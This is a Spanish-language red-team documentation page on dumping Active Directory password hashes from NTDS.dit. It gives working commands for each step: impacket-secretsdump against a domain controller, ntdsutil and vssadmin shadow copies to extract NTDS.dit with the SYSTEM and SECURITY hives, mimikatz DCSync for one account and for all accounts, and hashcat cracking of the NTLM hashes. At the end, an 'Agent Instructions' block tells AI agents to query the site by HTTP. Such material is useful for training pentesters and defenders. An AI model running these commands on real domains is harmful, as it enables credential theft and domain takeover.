# Dumping Active Directory Hashes -  NTDS.dit

### Descripción

El fichero NTDS.dit es la base de datos que almacena la información de los objetos del Directorio Activo, usuarios, grupos, miembros de un grupo, etc., incluyendo los hashes NTLM de las cuentas de usuario y equipos.

Por defecto, el fichero ntds.dir se encuentra en la ruta **C:\Windows\NTDS\NTDS.dit** dentro del controlador del dominio.

Durante un ejercicio de Red Team este fichero es volcado para obtener los hashes de todos los usuarios y poder realizar otros movimientos laterales entre dominios a los que no se tuviera acceso o hacerse con la cuenta Enterprise Admin (cuenta con mayor privilegios en un entorno de Directorio Activo).

Una vez se han obtenido todos los hash se podrán realizar movimientos laterales mediante técnicas de User impersonation, Pass the Hash, o crackar los hashes obtenidos del fichero.

Ya que el fichero está siendo utilizado por el sistema no se puede puede ser copiado directamente a otra ubicación. Para ello se debe utilizar alguno de los siguientes métodos y herramientas entre, otros:

* Domain Controller Replication Services
* Binarios nativos del sistema
* WMI

### Impacket-secretsdump

**Impacket-secrectsdump** permite extraer los hashes de las cuentas de Windows, incluidos los hashes del fichero **ntds.dit**, de forma remota o local.

A continuación, se muestra como extraer los hash del fichero ntds.dit de forma remota.

```bash
impacket-secretsdump -just-dc atlanta.corp/administrator:Password@IP_DC
```

Una vez se han obtenido los hashes del fichero ntds.dit se podrán crackear con [**hashcat**](/tecnicas-y-ataques/ataques-a-directorio-activo/credenciales/dumping-active-directory-hashes-ntds.dit.md#hashcat)

### NTDSUtil

**ntdsutil** es una herramienta nativa del controlador de dominio para permitir que los administradores accedan y administren la base de datos de Windows Active Directory. Sin embargo, un Red Team puede abusar de esta herramienta para hacer una copia del archivo ntds.dit.

```
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
```

![](/files/dBshVMDngNESMXtLsotk)

Cuando el proceso ha terminado, habrá creado la carpeta Active Directory y Registry dentro de C:\temp

![](/files/VQ9ECl8hqHwN4gLw5JdV)

![U](/files/wZOliGHvnTd8vBjkExEG)

Una vez se tengan estos archivos, se pueden extraer los hashes con la herramienta **impacket-secretsdump**

```python
impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local
```

![](/files/R7ygqlxMtaNC8Lt3q9pR)

### Volume Shadow Copy

**Volume Shadow Copy** es una utilidad nativa de Windows que permite a los administradores realizar backups de los equipos, volúmenes y archivos, incluso si el sistema operativo los está utilizando, a través de la herramienta **VSSAdmin**.

VSSAdmin permite hacer una instantánea del volumen c:\ del que luego se extraerá el fichero ntds.dit

{% code title="Crear instantánea de C:" %}

```
vssadmin create shadow /for=C:
```

{% endcode %}

{% code title="Copia de ntds.dit" %}

```
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\temp\ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\temp\SECURITY
```

{% endcode %}

![](/files/YElqV9QuYsorCm5QWLeq)

![](/files/lNeGHzumiEIYSNb9buKH)

Una vez tenemos la copia del fichero ntds.dit podemos extraer los hashes de las cuentas de usuarios y las cuentas de equipo con la herramienta [**impacket-secrectsdump**](#impacket-secretsdump)

### DCSync

**DCSync** es una técnica que permite a un atacante hacerse pasar por un controlador de dominio mediante el protocolo **MS-DSRS (Directory Replication Service)** y solicitar a otros controladores de dominio las credenciales de usuario a través de la función **GetNCChanges**. Para ello, la cuenta que ejecute esta acción debe ser miembro del grupo **Domain Admin o Enterprise Admin**, para recuperar los hash de contraseñas.

Este ataque puede ser llevado a cabo con módulo **dcsyn** de **mimikatz:**

```
lsadump::dcsync /domain:atlanta.corp /user:aaronp
```

![](/files/t57VMIe7SDqH9dLjjFMs)

Mimikatz también puede ser utilizada para volver todos los hashes de las contraseñas.

```
lsadump::dcsync /domain:atlanta.corp /ALL /CSV
```

![](/files/lJHQN36ZNTljGc7nrO5D)

### Hashcat

Hashcat permite crackear los hashes del fichero ntds.dit&#x20;

En este caso, se indicará el tipo de hash a crackear -m 1000 (NTLM).

```
hashcat -m 1000 --force hashs_secretsdump.txt.ntds /home/iwolf/Desktop/wordlist.txt
```

![](/files/5Fm78U3hdE1KmYMv54vh)

Como resultado se ha obtenido una contraseña de 306 hashes.

![](/files/WZk52XEgzH6Qc3mKDCXG)

Por último, se identifica el hash al que pertenece el usuario de la contraseña crackeada.

![](/files/pdS26lCGt93xAtvy0tPy)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.iwolfsec.com/tecnicas-y-ataques/ataques-a-directorio-activo/credenciales/dumping-active-directory-hashes-ntds.dit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
